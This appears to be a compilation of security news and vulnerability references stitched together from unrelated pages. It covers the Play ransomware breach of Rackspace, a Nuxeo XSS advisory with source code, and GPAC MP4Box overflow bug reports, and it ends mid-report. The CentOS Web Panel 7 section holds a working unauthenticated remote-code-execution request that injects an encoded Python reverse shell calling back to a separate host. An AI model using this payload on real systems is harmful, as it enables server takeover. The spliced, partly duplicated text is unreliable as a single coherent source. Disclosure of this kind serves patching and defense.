Cloud services provider Rackspace on Thursday confirmed that the ransomware gang known as Play was responsible for last month's breach.
The security incident, which took place on December 2, 2022, leveraged a previously unknown security exploit to gain initial access to the Rackspace Hosted Exchange email environment.
"This zero-day exploit is associated with CVE-2022-41080," the Texas-based

Cloud Security / Cyber Threat

Cloud services provider Rackspace on Thursday confirmed that the ransomware gang known as **Play** was responsible for last month's breach.

The security incident, which took place on December 2, 2022, leveraged a previously unknown security exploit to gain initial access to the Rackspace Hosted Exchange email environment.

"This zero-day exploit is associated with CVE-2022-41080," the Texas-based company said. "Microsoft disclosed CVE-2022-41080 as a privilege escalation vulnerability and did not include notes for being part of a remote code execution chain that was exploitable."

Rackspace's forensic investigation found that the threat actor accessed the Personal Storage Table (.PST) of 27 customers out of nearly 30,000 customers on the Hosted Exchange email environment.

However, the company said there is no evidence the adversary viewed, misused, or distributed the customer's emails or data from those personal storage folders. It further said it intends to retire its Hosted Exchange platform as part of a planned migration to Microsoft 365.

It's not currently not known if Rackspace paid a ransom to the cybercriminals, but the disclosure follows a report from CrowdStrike last month that shed light on the new technique, dubbed OWASSRF, employed by the Play ransomware actors.

The mechanism targets Exchange servers that are unpatched against the ProxyNotShell vulnerabilities (CVE-2022-41040 and CVE-2022-41082) but have in place URL rewrite mitigations for the Autodiscover endpoint.

This involves an exploit chain comprising CVE-2022-41080 and CVE-2022-41082 to achieve remote code execution in a manner that bypasses the blocking rules through Outlook Web Access (OWA). The flaws were addressed by Microsoft in November 2022.

The Windows maker, in a statement shared with The Hacker News, urged customers to prioritize installing its November 2022 Exchange Server updates and that the reported method targets vulnerable systems that have not not applied the latest fixes.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Rackspace Confirms Play Ransomware Gang Responsible for Recent Breach

The Nuxeo Platform is an open source content management platform for building business applications. In version 11.5.109, the `oauth2` REST API is vulnerable to Reflected Cross-Site Scripting (XSS). This XSS can be escalated to Remote Code Execution (RCE) by levering the automation API.

**Nuxeo vulnerable to Reflected Cross-Site Scripting leading to Remote Code Execution**

Moderate severity GitHub Reviewed Published Jan 6, 2023 • Updated Jan 9, 2023

GHSA-x347-fc9w-w7c3: Nuxeo vulnerable to Reflected Cross-Site Scripting leading to Remote Code Execution

The hosting services provider shared new details on the breach that took down its Hosted Exchange Email service.

Rackspace has completed its forensic investigation into the Dec. 2 ransomware attack that took down its Hosted Exchange Email service and announced that it will discontinue that offering and transition it to cloud-based Microsoft 365.

The company said it has no plans to rebuild the hosted Exchange server environment, which has been down since the attack, and that it already had been on track to migrate to 365 before the ransomware incident.

Rackspace had decided not to apply Microsoft's ProxyNotShell patch to its Exchange Servers amid concerns over reports that the software update caused "authentication errors" that the company feared could take down its servers. Instead, it stuck with Microsoft's recommended mitigations for the vulnerabilities to thwart a ProxyNotShell attack.

That strategy fell apart, as the Play ransomware group was able to bypass Microsoft's mitigations with a new exploit abusing the CVE-2022-41080 vulnerability that breached Rackspace's Hosted Exchange systems. "Microsoft disclosed CVE-2022-41080 as a privilege escalation vulnerability and did not include notes for being part of a Remote Code Execution chain that was exploitable," Rackspace noted in a post today.

**Play Stole Data from 27 Rackspace Customers**

According to the managed cloud hosting services company, the attackers grabbed the Personal Storage Tables (PSTs) of 27 of its around 30,000 Hosted Exchange customers, but there is no evidence the Play hackers ever viewed or distributed the pilfered information. "Customers who were not contacted directly by the Rackspace team can be assured that their PST data was not accessed by the threat actor," the company said.

"As a reminder, no other Rackspace products, platforms, solutions, or businesses were affected or experienced downtime due to this incident," Rackspace asserted.

Meanwhile, the email data recovery efforts remain underway for its Hosted Exchange customers. "As of today, more than half of impacted customers have some or all of their data available to them for download. However, less than 5% of those customers have actually downloaded the mailboxes we have made available. This indicates to us that many of our customers have data backed up locally, archived, or otherwise do not need the historical data," Rackspace said. The company also will offer an on-demand option for customers who want to download their data.

Rackspace said it's contacting customers for which it has recovered more than half of their mailboxes; their recovered data is available via its customer portal. "To check if your historical email data is available, please follow Step 2 on our Data Recovery Resources page (https://www.rackspace.com/hosted-exchange-incident-data-recovery-resources) and see if your mailbox is ready to download," the company said in its post, which provides additional resources as well.

Rackspace Sunsets Email Service Downed in Ransomware Attack

/\* \* (C) Copyright 2015 Nuxeo SA (http://nuxeo.com/) and others. \* \* Licensed under the Apache License, Version 2.0 (the "License"); \* you may not use this file except in compliance with the License. \* You may obtain a copy of the License at \* \* http://www.apache.org/licenses/LICENSE-2.0 \* \* Unless required by applicable law or agreed to in writing, software \* distributed under the License is distributed on an "AS IS" BASIS, \* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \* See the License for the specific language governing permissions and \* limitations under the License. \* \* Contributors: \* Nelson Silva \*/ package org.nuxeo.ecm.webengine.oauth2; import java.io.IOException; import java.util.Map; import java.util.HashMap; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.ws.rs.GET; import javax.ws.rs.Path; import javax.ws.rs.PathParam; import javax.ws.rs.Produces; import javax.ws.rs.core.Context; import javax.ws.rs.core.Response; import com.google.api.client.auth.oauth2.Credential; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.nuxeo.ecm.core.api.NuxeoException; import org.nuxeo.ecm.core.api.UnrestrictedSessionRunner; import org.nuxeo.ecm.platform.oauth2.providers.OAuth2ServiceProvider; import org.nuxeo.ecm.platform.oauth2.providers.OAuth2ServiceProviderRegistry; import org.nuxeo.ecm.webengine.model.WebObject; import org.nuxeo.ecm.webengine.model.impl.ModuleRoot; import org.nuxeo.runtime.api.Framework; /\*\* \* WebEngine module to handle the OAuth2 callback \*/ @Path("/oauth2") @Produces("text/html;charset=UTF-8") @WebObject(type = "oauth2") public class OAuth2Callback extends ModuleRoot { @Context private HttpServletRequest request; Credential credential; private static final Log log = LogFactory.getLog(OAuth2Callback.class); /\*\* \* @return the rendered page. \*/ @GET @Path("{serviceProviderName}/callback") public Object doGet(@PathParam("serviceProviderName") String serviceProviderName) throws IOException { OAuth2ServiceProviderRegistry registry = Framework.getService(OAuth2ServiceProviderRegistry.class); OAuth2ServiceProvider provider = registry.getProvider(serviceProviderName); if (provider == null) { return Response.status(HttpServletResponse.SC\_NOT\_FOUND).entity( "No service provider called: \\"" + serviceProviderName + "\\".").build(); } Map<String, Object\> args = new HashMap<>(); new UnrestrictedSessionRunner(ctx.getCoreSession()) { @Override public void run() { try { credential = provider.handleAuthorizationCallback(request); } catch (NuxeoException e) { log.error("Authorization request failed", e); args.put("error", "Authorization request failed"); } } }.runUnrestricted(); String token = (credential == null) ? "" : credential.getAccessToken(); args.put("token", token); return getView("index").args(args); } }

CVE-2021-32828: nuxeo/OAuth2Callback.java at master · nuxeo/nuxeo

RESERVED An issue in the /login/index.php component of Centos Web Panel 7 before v0.9.8.1147 allows unauthenticated attackers to execute arbitrary system commands via crafted HTTP requests.

\# Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877

\[+\] Centos Web Panel 7 Unauthenticated Remote Code Execution

\[+\] Centos Web Panel 7 - < 0.9.8.1147

\[+\] Affected Component ip:2031/login/index.php?login=$(whoami)

\[+\] Discoverer: Numan Türle @ Gais Cyber Security

\[+\] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194

\## Proof of concept:

POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1

Host: 10.13.37.10:2031

Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82

Content-Length: 40

Origin: https://10.13.37.10:2031

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: https://10.13.37.10:2031/login/index.php?login=failed

Accept-Encoding: gzip, deflate

Accept-Language: en

Connection: close

username=root&password=toor&commit=Login

\## Solution

Upgrade to CWP7 current version.

CVE-2022-44877: # Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877

GPAC MP4box 2.1-DEV-rev649-ga8f438d20 is vulnerable to buffer overflow in h263dmx_process filters/reframe_h263.c:609

*   I looked for a similar issue and couldn't find any.
*   I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
*   I give enough information for contributors to reproduce my issue (meaningful title, github labels,

**Description**

buffer overflow in h263dmx\_process filters/reframe\_h263.c:609

**Version info**

latest version atm

    MP4Box - GPAC version 2.1-DEV-rev649-ga8f438d20-master
    (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
    
    Please cite our work in your research:
    	GPAC Filters: https://doi.org/10.1145/3339825.3394929
    	GPAC: https://doi.org/10.1145/1291233.1291452
    
    GPAC Configuration: --enable-sanitizer
    Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB  GPAC_DISABLE_3D
    

**Reproduce**

compile and run

    ./configure --enable-sanitizer
    make
    ./MP4Box import -cat poc_bof13.mp4
    

Crash reported by sanitizer

    [H263Dmx] garbage before first frame!
    Track Importing H263 - Width 704 Height 576 FPS 15000/1000
    =================================================================
    ==735609==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e000000620 at pc 0x7ff71222b397 bp 0x7ffeaf3c2280 sp 0x7ffeaf3c1a28
    READ of size 4294967295 at 0x60e000000620 thread T0
        #0 0x7ff71222b396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
        #1 0x7ff70fbae101 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
        #2 0x7ff70fbae101 in h263dmx_process filters/reframe_h263.c:609
        #3 0x7ff70f7a6f1d in gf_filter_process_task filter_core/filter.c:2815
        #4 0x7ff70f7665a3 in gf_fs_thread_proc filter_core/filter_session.c:1859
        #5 0x7ff70f772ece in gf_fs_run filter_core/filter_session.c:2120
        #6 0x7ff70f1b59c1 in gf_media_import media_tools/media_import.c:1551
        #7 0x5617e36bfb4c in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
        #8 0x5617e36ca5d7 in cat_isomedia_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:2536
        #9 0x5617e3674130 in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4562
        #10 0x5617e3674130 in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
        #11 0x7ff70c73cd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #12 0x7ff70c73ce3f in __libc_start_main_impl ../csu/libc-start.c:392
        #13 0x5617e3650cb4 in _start (/home/sumuchuan/Desktop/gpac_fuzz/gpac/bin/gcc/MP4Box+0xabcb4)
    
    0x60e000000620 is located 0 bytes to the right of 160-byte region [0x60e000000580,0x60e000000620)
    allocated by thread T0 here:
        #0 0x7ff7122a5867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
        #1 0x7ff70f7b4528 in gf_filter_parse_args filter_core/filter.c:2033
        #2 0x7ff70f7b5234 in gf_filter_new_finalize filter_core/filter.c:510
        #3 0x7ff70f7b65d7 in gf_filter_new filter_core/filter.c:439
        #4 0x7ff70f7021c7 in gf_filter_pid_resolve_link_internal filter_core/filter_pid.c:3611
        #5 0x7ff70f7258b2 in gf_filter_pid_resolve_link_check_loaded filter_core/filter_pid.c:3711
        #6 0x7ff70f7258b2 in gf_filter_pid_init_task filter_core/filter_pid.c:4883
        #7 0x7ff70f7665a3 in gf_fs_thread_proc filter_core/filter_session.c:1859
        #8 0x7ff70f772ece in gf_fs_run filter_core/filter_session.c:2120
        #9 0x7ff70f1b59c1 in gf_media_import media_tools/media_import.c:1551
        #10 0x5617e36bfb4c in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
        #11 0x5617e36ca5d7 in cat_isomedia_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:2536
        #12 0x5617e3674130 in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4562
        #13 0x5617e3674130 in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
        #14 0x7ff70c73cd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
    Shadow bytes around the buggy address:
      0x0c1c7fff8070: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c1c7fff8080: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
      0x0c1c7fff8090: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff80a0: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
      0x0c1c7fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c1c7fff80c0: 00 00 00 00[fa]fa fa fa fa fa fa fa 00 00 00 00
      0x0c1c7fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c1c7fff80f0: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
      0x0c1c7fff8100: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff8110: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==735609==ABORTING
    

Looks like the oob read happens in filters/reframe\_h263.c

    READ of size 4294967295 at 0x60e000000620 thread T0
       #0 0x7ff71222b396 in __interceptor_memcpy 
       ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
       #1 0x7ff70fbae101 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
       #2 0x7ff70fbae101 in h263dmx_process filters/reframe_h263.c:609
    

if compile without ASAN and run the same poc

    ./configure --static-bin
    make
    ./MP4Box import -cat poc_bof13.mp4
    

there will be segment fault

    [H263Dmx] garbage before first frame!
    Track Importing H263 - Width 704 Height 576 FPS 15000/1000
    Segmentation fault=          | (50/100)
    

backtrace atm

    pwndbg> bt
    #0  0x0000000000afc1cc in __memmove_avx_unaligned_erms ()
    #1  0x00000000007f0dbf in h263dmx_process ()
    #2  0x00000000006d9c90 in gf_filter_process_task ()
    #3  0x00000000006c5dbc in gf_fs_thread_proc ()
    #4  0x00000000006cb3bb in gf_fs_run ()
    #5  0x00000000006008ed in gf_media_import ()
    #6  0x00000000004313d1 in import_file ()
    #7  0x00000000004375f1 in cat_isomedia_file ()
    #8  0x0000000000411e78 in mp4box_main ()
    #9  0x0000000000a8c47a in __libc_start_call_main ()
    #10 0x0000000000a8dcd7 in __libc_start_main_impl ()
    #11 0x0000000000402c55 in _start ()
    

**POC**

poc\_bof13.zip

**Impact**

Potentially causing DoS and RCE

**Credit**

Xdchase

CVE-2022-47663: buffer overflow in h263dmx_process filters/reframe_h263.c:609 · Issue #2360 · gpac/gpac

GPAC MP4box 2.1-DEV-rev644-g5c4df2a67 is vulnerable to Buffer Overflow in gf_bs_read_data

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!

*   I looked for a similar issue and couldn't find any.
*   I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
*   I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop\_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95

Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/

**Description**

stack-buffer-overflow utils/bitstream.c:732 in gf\_bs\_read\_data

**Version info**

latest version atm

    MP4Box - GPAC version 2.1-DEV-rev644-g5c4df2a67-master
    (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
    
    Please cite our work in your research:
    	GPAC Filters: https://doi.org/10.1145/3339825.3394929
    	GPAC: https://doi.org/10.1145/1291233.1291452
    
    GPAC Configuration: --enable-sanitizer
    Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB  GPAC_DISABLE_3D
    

**Reproduce**

compile and run

    ./configure --enable-sanitizer
    make
    ./MP4Box import -cat poc_bof11.mp4
    

Crash reported by sanitizer

    Track Importing AAC  - SampleRate 88200 Num Channels 8
    =================================================================
    ==325854==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc52ec0940 at pc 0x7fa1e477c501 bp 0x7ffc52ebf3a0 sp 0x7ffc52ebf390
    WRITE of size 1 at 0x7ffc52ec0940 thread T0
        #0 0x7fa1e477c500 in gf_bs_read_data utils/bitstream.c:732
        #1 0x7fa1e59d0a8c in latm_dmx_sync_frame_bs filters/reframe_latm.c:170
        #2 0x7fa1e59d289f in latm_dmx_sync_frame_bs filters/reframe_latm.c:86
        #3 0x7fa1e59d289f in latm_dmx_process filters/reframe_latm.c:526
        #4 0x7fa1e55eabac in gf_filter_process_task filter_core/filter.c:2795
        #5 0x7fa1e55aa703 in gf_fs_thread_proc filter_core/filter_session.c:1859
        #6 0x7fa1e55b700e in gf_fs_run filter_core/filter_session.c:2120
        #7 0x7fa1e4ff9a21 in gf_media_import media_tools/media_import.c:1551
        #8 0x55a84c1ccb4c in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
        #9 0x55a84c1d75d7 in cat_isomedia_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:2536
        #10 0x55a84c181130 in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4562
        #11 0x55a84c181130 in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
        #12 0x7fa1e2580d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #13 0x7fa1e2580e3f in __libc_start_main_impl ../csu/libc-start.c:392
        #14 0x55a84c15dcb4 in _start (/home/sumuchuan/Desktop/gpac_fuzz/gpac/bin/gcc/MP4Box+0xabcb4)
    
    Address 0x7ffc52ec0940 is located in stack of thread T0 at offset 5088 in frame
        #0 0x7fa1e59d20af in latm_dmx_process filters/reframe_latm.c:456
    
      This frame has 19 object(s):
        [48, 52) 'pck_size' (line 461)
        [64, 68) 'latm_frame_size' (line 525)
        [80, 84) 'dsi_s' (line 312)
        [96, 104) 'output' (line 460)
        [128, 136) 'dsi_b' (line 311)
        [160, 184) '<unknown>'
        [224, 248) '<unknown>'
        [288, 312) '<unknown>'
        [352, 376) '<unknown>'
        [416, 440) '<unknown>'
        [480, 504) '<unknown>'
        [544, 568) '<unknown>'
        [608, 632) '<unknown>'
        [672, 696) '<unknown>'
        [736, 760) '<unknown>'
        [800, 824) '<unknown>'
        [864, 888) '<unknown>'
        [928, 952) '<unknown>'
        [992, 5088) 'latm_buffer' (line 524) <== Memory access at offset 5088 overflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow utils/bitstream.c:732 in gf_bs_read_data
    Shadow bytes around the buggy address:
      0x10000a5d00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000a5d00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000a5d00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000a5d0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000a5d0110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x10000a5d0120: 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3
      0x10000a5d0130: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
      0x10000a5d0140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000a5d0150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000a5d0160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000a5d0170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==325854==ABORTING
    

**POC**

poc\_bof11.zip

**Impact**

Potentially causing DoS and RCE

**Credit**

Xdchase

CVE-2022-47659: stack-buffer-overflow utils/bitstream.c:732 in gf_bs_read_data · Issue #2354 · gpac/gpac

GPAC MP4box 2.1-DEV-rev593-g007bf61a0 is vulnerable to Buffer Overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8261

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!

*   I looked for a similar issue and couldn't find any.
*   I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
*   I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop\_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95

Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/

**Description**

buffer overflow in gf\_hevc\_read\_sps\_bs\_internal function of media\_tools/av\_parsers.c:8261

	//sps\_rep\_format\_idx = 0;
	if (multiLayerExtSpsFlag) {
		sps->update\_rep\_format\_flag = gf\_bs\_read\_int\_log(bs, 1, "update\_rep\_format\_flag");
		if (sps->update\_rep\_format\_flag) {
			sps->rep\_format\_idx = gf\_bs\_read\_int\_log(bs, 8, "rep\_format\_idx");
			if (sps->rep\_format\_idx\>15) {
				return -1;
			}
		} else {
			sps->rep\_format\_idx = vps->rep\_format\_idx\[layer\_id\]; // overflow
		}

**Version info**

latest version

    MP4Box - GPAC version 2.1-DEV-rev593-g007bf61a0-master
    (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
    
    Please cite our work in your research:
    	GPAC Filters: https://doi.org/10.1145/3339825.3394929
    	GPAC: https://doi.org/10.1145/1291233.1291452
    
    GPAC Configuration: --enable-sanitizer
    Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB  GPAC_DISABLE_3D
    

**Reproduce**

compile and run

    ./configure --enable-sanitizer
    make
    ./MP4Box import -add poc_bof8.mov
    

Crash reported by sanitizer

    [iso file] Unknown box type dvbs in parent stsd
    [HEVC] Error parsing NAL unit type 16
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 32
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 33
    [HEVC] Error parsing NAL unit type 16
    Track Importing HEVC - Width -10 Height -20316159 FPS 25000/1000
    [HEVC] Error parsing NAL Unit 8 (size 0 type 0 frame 0 last POC 0) - skipping
    [HEVC] Error parsing NAL unit type 16
    [HEVC] Error parsing NAL unit type 0
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 32
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 33
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 34
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Wrong number of layer sets in VPS 5
    [HEVC] Error parsing NAL unit type 32
    [HEVC] Error parsing Video Param Set
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 32
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 33
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 34
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] Error parsing NAL unit type 34
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [Core] exp-golomb read failed, not enough bits in bitstream !
    [HEVC] sorry, 11 layers in VPS but only 4 supported
    [HEVC] Error parsing NAL unit type 32
    [HEVC] Error parsing Video Param Set
    media_tools/av_parsers.c:8261:45: runtime error: index 45 out of bounds for type 'u32 [16]'
    

**POC**

poc\_bof8.zip

**Impact**

Potentially causing DoS and RCE

**Credit**

Xdchase

CVE-2022-47654: buffer overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8261 · Issue #2350 · gpac/gpac

GPAC MP4box 2.1-DEV-rev593-g007bf61a0 is vulnerable to Buffer Overflow in eac3_update_channels function of media_tools/av_parsers.c:9113

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!

*   I looked for a similar issue and couldn't find any.
*   I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
*   I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop\_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95

Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/

**Description**

buffer overflow in eac3\_update\_channels function of media\_tools/av\_parsers.c:9113

static void eac3\_update\_channels(GF\_AC3Config \*hdr)
{
	u32 i;
	for (i=0; i<hdr->nb\_streams; i++) {
		u32 nb\_ch = ac3\_mod\_to\_total\_chans\[hdr->streams\[i\].acmod\]; // overflow
		if (hdr->streams\[i\].nb\_dep\_sub) {
			hdr->streams\[i\].chan\_loc = eac3\_chanmap\_to\_chan\_loc(hdr->streams\[i\].chan\_loc);
			nb\_ch += gf\_eac3\_get\_chan\_loc\_count(hdr->streams\[i\].chan\_loc);
		}
		if (hdr->streams\[i\].lfon) nb\_ch++;
		hdr->streams\[i\].channels = nb\_ch;
		hdr->streams\[i\].surround\_channels = ac3\_mod\_to\_surround\_chans\[hdr->streams\[i\].acmod\];
	}
}

**Version info**

latest version

    MP4Box - GPAC version 2.1-DEV-rev593-g007bf61a0-master
    (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
    
    Please cite our work in your research:
    	GPAC Filters: https://doi.org/10.1145/3339825.3394929
    	GPAC: https://doi.org/10.1145/1291233.1291452
    
    GPAC Configuration: --enable-sanitizer
    Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB  GPAC_DISABLE_3D
    

**Reproduce**

compile and run

    ./configure --enable-sanitizer
    make
    ./MP4Box import -add poc_bof7.swf
    

Crash reported by sanitizer

    [iso file] Unknown box type dvbs in parent stsd
    Track Importing EAC-3 - SampleRate 32000 Num Channels 6
    [AC3Dmx] 24 bytes unrecovered before sync word
    [AC3Dmx] 13 bytes unrecovered before sync word
